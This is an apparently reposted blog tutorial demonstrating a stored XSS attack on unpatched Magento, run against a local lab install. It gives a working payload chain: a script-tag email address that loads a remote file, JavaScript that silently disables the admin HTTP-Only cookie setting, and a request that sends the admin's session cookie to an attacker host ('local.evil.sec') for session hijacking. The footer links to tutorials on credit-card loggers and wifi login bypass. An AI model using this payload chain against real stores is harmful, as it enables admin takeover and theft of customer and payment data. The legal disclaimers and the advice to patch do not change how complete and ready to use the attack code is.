Why?
A friend of mine sent me an interesting advisory the other day,
demonstrating that there was an XSS exploit for the eCommerce platform
Magento. I like security advisories, mainly because it's an interesting
challenge and a good way to learn more about the underlying frameworks
you're using. Since it was a lot of fun to exploit wordpress, I
figure'd I'd try out this XSS exploit. It should go without saying, but
don't try this on systems that aren't yours, or you'll be violating the
law.
The plan
As pointed out in the interesting advisory, this is a flaw that has to
be triggered by an administrator checking on an order. So in our pretend
scenario we have two types of exploits going on:
- Taking advantage of the vulnerability itself
- Convincing the admin to check your order
Both of these are likely to be fairly easy given the nature of Magento.
Calling or emailing an adminstrator in reference to your order would get
any well-intentioned admin to check it out. And the first is trivially
done according to the advisery by using the quoted form of an email
address for your client account. So our attack plan is simple:
- Setup our server to receive information
- Perform exploit and call up our friendly admin
- Steal their credentials or perform actions under their name
Setup
First off, we need to download a version of magento that isn't patched,
so we can grab any copy of magento that is less than 1.9.2.3 from the
downloads page. I had to create an account to download the software,
so do that if you need to (use guerrillamail if you need a quick
email address to use). Then setup magento. In my case I'll be using
apache with the following host setup:
# My New Magento Install! Nothing bad could happen :D
<VirtualHost *:80>
Servername local.magento.sec
ErrorLog /tmp/error.log
DocumentRoot /path/to/magento
<Directory /path/to/magento >
Options Indexes FollowSymLinks MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
</VirtualHost>
#My Evil domain that will exploit the poor thing:
<VirtualHost *:80>
Servername local.evil.sec
CustomLog /tmp/exploit.log combined
DocumentRoot /tmp
<Directory /tmp >
Order allow,deny
allow from all
</Directory>
</VirtualHost>
And then setup your hosts file appropriately:
127.0.0.1 local.magento.sec local.evil.sec
And starting up apache and navigating to your local site should give you
the installation screen and you can follow the instructions to setup magento.
In my case, I had to update some permissions and install the php5-gd
package on my system before being able to run magento. Your mileage may
vary. Also, installing magento is slow, the database has over 300
tables in the base install, be patient as you install it.
Once you're setup, you should be able to log in to your admin panel and
see that magento wants to update:
Ignoring that, create a product or two and verify that your site is
working properly.
Confirming the exploit
Before we do anything complicated, we want to perform a smoke test to
make sure that we can trigger the problem ourselves. We'll do the same
test that the advisory did and simple alert on the page by using the
email "><script>alert(1);</script>"@sucuri.net. When you do this
from the checkout page you'll get an error saying you it's not a valid
email. However, this is only a front end check that we can trivially
avoid by editing the HTML and removing the attributes the JS relys on
to validate:
Click through the rest of the steps and place your order.
Then in the admin panel navigate to sales and your orders and verify
that the exploit happens:
You'll see the pop-up twice before the page fully loads. Now the real
question is what can we do?.
Getting dirty
The first thing that comes to my mind is to attempt to steal the session
of the admin user. But a quick look at the cookies of the page will tell
us that such a thing won't work since the cookies are HTTP-Only:
So that's seems like a dead end at first, but we can actually change
the settings for these cookies from magento! The HTTP-Only setting is
configured from the Web section of the System configuration page, and
by default is turned on:
So the question becomes, how can we get to this page using our exploit?
First off, we'll note that the navigation bar has an id of nav. So
that's trivial to get via javascript:
var nav = document.getElementById('nav')
And once we do that it's simple to note that the navigation consists of
links like the following:
<li class=" last level1">
<a href="http://local.magento.sec/index.php/admin/system_config/index/key/d1b178d00a7755670c57af7f3f59bfa3/" class=""><span>Configuration</span></a>
</li>
We can't get much from the link itself, but the internal span tells us
everything we need to know. Leveraging this:
var spans = nav.getElementsByTagName('span')
for(i in spans) {
if (spans[i].hasOwnProperty('textContent') && spans[i].textContent == "Configuration") {
configLink = spans[i].parentElement.href
}
}
And now we have the correct link to follow stored in configLink. Since
magento uses prototype we can perform AJAX requests for pages pretty
easily:
var configPage = document.createElement('span')
configPage.display = 'None';
new Ajax.Updater(configPage, configLink, {method: 'get'})
This will call up the system page which has another link we need. The
HTTP Only settings are in the Web settings, so we'll find that link in
the new page and then proceed from there:
var spans = configPage.getElementsByTagName('span')
for( var i = 0; i < spans.length; i++) {
if (spans[i].hasOwnProperty('textContent') && spans[i].textContent.indexOf("Web")!=-1) {
webConfigLink = spans[i].parentElement.href
}
}
var webPage = document.createElement('span')
webPage.display = 'None'
new Ajax.Updater(webPage, webConfigLink, {method: 'get'})
Once we have this page we're nearly there. We just need to select the
correct option for HTTP cookies and then submit the form. This is easy
enough to do programmatically since the option has an id:
//Get the select menu:
var select = webPage.getElementsBySelector('[id=web_cookie_cookie_httponly]')[0]
//Set the options to No
for(var o = 0; o < select.options.length; o++) {
select.options[o].value = 0 //set it to the 'No' value easily
}
//Grab that form
var form = webPage.getElementsByTagName('form')[0]
//Submit it via Ajax using prototype so the admin doesn't know
$(form).request({
onFailure: function(){},
onSuccess: function(t){
//wait for it...
}
})
Now that we've done that the HTTP-Only flag on the cookies is gone,
which means that we can steal the admin's session.
To send the session to the hacker we'll use our second virtual host and
the oldest trick in the book, the access log! Updating the wait for it
part of our form handler code gives us the final step to our hijack:
onSuccess: function(t){
var logPage = document.createElement('span')
var evil = 'http://local.evil.sec?' + document.cookie
logPage.display = 'None'
new Ajax.Updater(logPage, evil, {method: 'get'})
}
Once you do this, you'll see the admin cookie appear in the log file of
the hackers domain:
Once we've got this, we just do a simple cookie setting and we're good
to run wild. First go to the admin page and open up your console. Then
set the document to be the value sent in your request:
Refresh the page and you'll have access to the admin console:
Putting it all together
It's easy to write all the above into the console to verify that it
works, but it's another thing to actually use the email exploit to run
the code. We have two options:
- Insert all that code into the email address
- Have the email address inject a script to handle things for us
Either way we need to wrap the code into a single package so let's do
that:
/** Helpers */
function findLinkInSpan(spans, search) {
for(i in spans) {
if (spans[i].hasOwnProperty('textContent') && spans[i].textContent.trim() == search.trim()) {
return spans[i].parentElement.href;
}
}
}
/** Wait for the AJAX to stick the data into our target element */
var waitingTime = 3000;
function exploitOrderPage() {
/** Navigate the menu */
var nav = document.getElementById('nav');
var spans = nav.getElementsByTagName('span');
configLink = findLinkInSpan(spans, "Configuration");
/** Global for exploitConfigPage to use */
configPage = document.createElement('span');
configPage.display = 'None';
new Ajax.Updater(configPage, configLink, {
method: 'get',
onSuccess: function(){
setTimeout(function(){
exploitConfigPage()
}, waitingTime);
}
}
);
}
function exploitConfigPage() {
var spans = configPage.getElementsByTagName('span');
var webConfigLink = findLinkInSpan(spans, 'Web');
/** Global for exploitWebPage to use */
webPage = document.createElement('span');
webPage.display = 'None';
new Ajax.Updater(webPage, webConfigLink, {
method: 'get',
onSuccess: function(){
setTimeout(function(){
exploitWebPage();
},waitingTime);
}
}
);
}
function exploitWebPage() {
var select = webPage.getElementsBySelector('[id=web_cookie_cookie_httponly]')[0];
for(var o = 0; o < select.options.length; o++) {
select.options[o].value = 0; //set it to the 'No' value easily
}
var form = webPage.getElementsByTagName('form')[0]
//Submit it via Ajax using prototype so the admin doesn't know
$(form).request({
onFailure: function(){},
onSuccess: function(t){
var logPage = document.createElement('span');
var evil = 'http://local.evil.sec?' + document.cookie;
logPage.display = 'None';
new Ajax.Updater(logPage, evil, {method: 'get'});
}
})
}
/** On load we want to hide the weird email from the admin and steal! */
var anchors = document.getElementsByTagName('a')
for(var i = 0; i < anchors.length; i++) {
if(anchors[i] && anchors[i].href == 'mailto:') {
anchors[i].textContent = 'user@example.com';
}
}
//GO!
exploitOrderPage();
The code is a little rough because we have a series of callbacks that
fire as the pages are loaded into the target divs by prototype. In my
testing it seemed like there was enough delay between when the request
completed and when variables like configPage were filled with data
that a timeout was the only way to ensure that there was data available
to iterate over with .getElementsByTagName.
Note that even though we don't have any CORS headers on our evil domain,
we don't actually need them to get the credentials in our log file since
the preflight request will show up in the log. If you were a real
attacker trying to be silent, you'd likely adjust your server
accordingly.
So let's try the first tactic, putting all of the code into an email
address in the checkout form:
And editing the HTML with the inspector to remove the validation from
the element results in
And checking out the magento source it looks like the length calculation
is pretty small:
//lib/Zend/Validate/EmailAddress.php
if ((strlen($this->_localPart) > 64) || (strlen($this->_hostname) > 255)) {
$length = false;
$this->_error(self::LENGTH_EXCEEDED);
}
So it seems like the first attempt is out since the full script can't be
fit into 64 characters. So instead let's try to load it from our evil
domain! We can do this by saving our script to a.js and loading it via
a script tag with the malicious email:
"<script src='//local.evil.sec/a.js'></script>"@exploited.net
This comes in at 47 characters, so if you're testing with a longer local
domain name then a link shortener would be a good idea. Or if you don't
mind whiting out most of the screen you can drop seven characters by
removing the closing <script> tag (though that makes the attack more
obvious).
Submit your order after filling out the rest of the fields:
Navigating from our admin window to the new order, we'll be greeted with
our usual screen, but if we open up the console in a few seconds we'll
start to see the effects of the attack:
And in our log files:
Using this value we can then update our cookie from our hackers
perspective:
Then simply click in the url and navigate to /admin and you've
successfully broken into a magento site using an exploit and session
hijacking!
So what now?
Now you go and you update magento so that you don't run into someone
pulling this trick on you! The last thing you need is a random user
getting access to customer information, saved credit cards, or anything
like that! Just browsing through the configuration screen's it's easy to
see multiple attack vectors that one could use to install back-doors to
the system so that even after they upgrade, the attack can still get in.
Security is important, and I've written this post so that if anyone is
using an old version of magento in production they can go to their boss,
demonstrate the attack here, and get their blessing to spend as much
time as neccesary in patching their system. It's not always fun to
upgrade when we could be developing, but doing so keeps the entire
internet healthy (you don't want your servers or clients helping out
with a DDoS do you?). So get out there and patch!
Obvious Disclaimer
In case it's not obvious This is example code meant for educational
purposes only. Do not run this on any machine you do not own! It is a
violation of both state and federal law that often carries a hefty
fine. Just don't do it.
Source: http://www.plasticsurgery.whoseopinion.com
![BOT Like LINE Home Feeds [Google App Script]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhF8YrtNBlp-mpEypsm2C_jRqNV06LRxUhfZgZZs9BCCtB33ZI-VtJy_-k_fYUamcUe5kXEKcjq4Almpopt3pYNTt-025mQd_ez9mN6NiRnBdFonm9XTIvTznMS0fdBHB-hSNCuNPDAQ_Y/s1600/BOT_Like_Line_Home_Feeds-Tutor_Get_Cookie_%2528Firefox%2529.png "BOT Like LINE Home Feeds [Google App Script]")
![BOT Like LINE Home Feeds [Google App Script]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCKM6FS40T-oLTD6AuKFr6aLX21lob64epHax9wpX6pZio2VMuCWdI8qIpau-XOQyQkCTCQaSR7Ke_J7amYds00S84oJqsOfPoo-g2SFkQOwootmstnDX6yPv6batjDk9r58pL75Z6swg/s1600/BOT_Like_Line_Home_Feeds-Tutor_Get_Cookie_%2528Chrome%2529.png "BOT Like LINE Home Feeds [Google App Script]")
![[SCRIPT] Bot Telegram SimSimi](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrCoGIxOd6dVw_-lsnnkOlODjuOfFX3_E967NP5cbQuYVsQ4x_0YZ-_zavNpbTELaVvqOKnQ3QeKZezzq356clmbhKRDeMl5krupEp9h_H3jCBxtjxEuL8hZ3j2_NzQv-6-N-9QRJ3fwo/s72-c/newbot.png "[SCRIPT] Bot Telegram SimSimi")
![@wifi.id Bypass Login (2016) [APPS]](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhRjlX9Z6at-x9MTV6s_SAuvrQ9iV_041zmijvOb7AD-pwQIeX4vu_YlnUH1jUJbgvem7foxtkTJLrcRCr2MKjhjBCFTUoQhZ2HZcdKn-D2aYIiYGA6wHAOU2ake0Jb8TgU8PrYmvWH99k/s72-c/wifiid-bypass-login-2016.png "@wifi.id Bypass Login (2016) [APPS]")
![[APPS] Auto Register Free @wifi.id (v.3)](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjsLSbVlbiT-RQivvHw6NiixLDZuKAfIYAbakShRPBq11iqNMkDzCLWvrx5LKuD9ph5KSHSatvS8DJyL-JuvJb6UVaI5-US8yLcjqGhyphenhyphendeBeIRci2MbcP-gS6mF_2yGDdw3sDhHIfPdRzg/s72-c/preview.png "[APPS] Auto Register Free @wifi.id (v.3)")
![[TUTS] How to Add CreditCard Logger in Magento?](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYepS3-xwRi1xa2aA1FCdR9igvz8bR5Y9VUPBfz5b0MvqHBMMyUYgFwnBkj5CPp4OX_rk9zO4l1PaqezThMoqFOYgHXsAx6-P64S_XxcUQDdYytklAA8sKUYTth7H8A4XI9VNDVxSPD_I/s72-c/magento_log.png "[TUTS] How to Add CreditCard Logger in Magento?")
![[SCRIPT] Auto Registration Free @wifi.id](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjqtys2fpCOZkjR-6IPbe1w98AwTD0wvxNO7XYnxrAUFKxYcmijBfh5rh-2JEy6nq7pwNBrIaL3RuG4k6rk3Ygw8ZAUrbaJ4n6Y00ByUK4yRUDlTz7g9_-gCTVuZaDtvt4nIFMUCik29yk/s72-c/wifi_id.png "[SCRIPT] Auto Registration Free @wifi.id")
Followers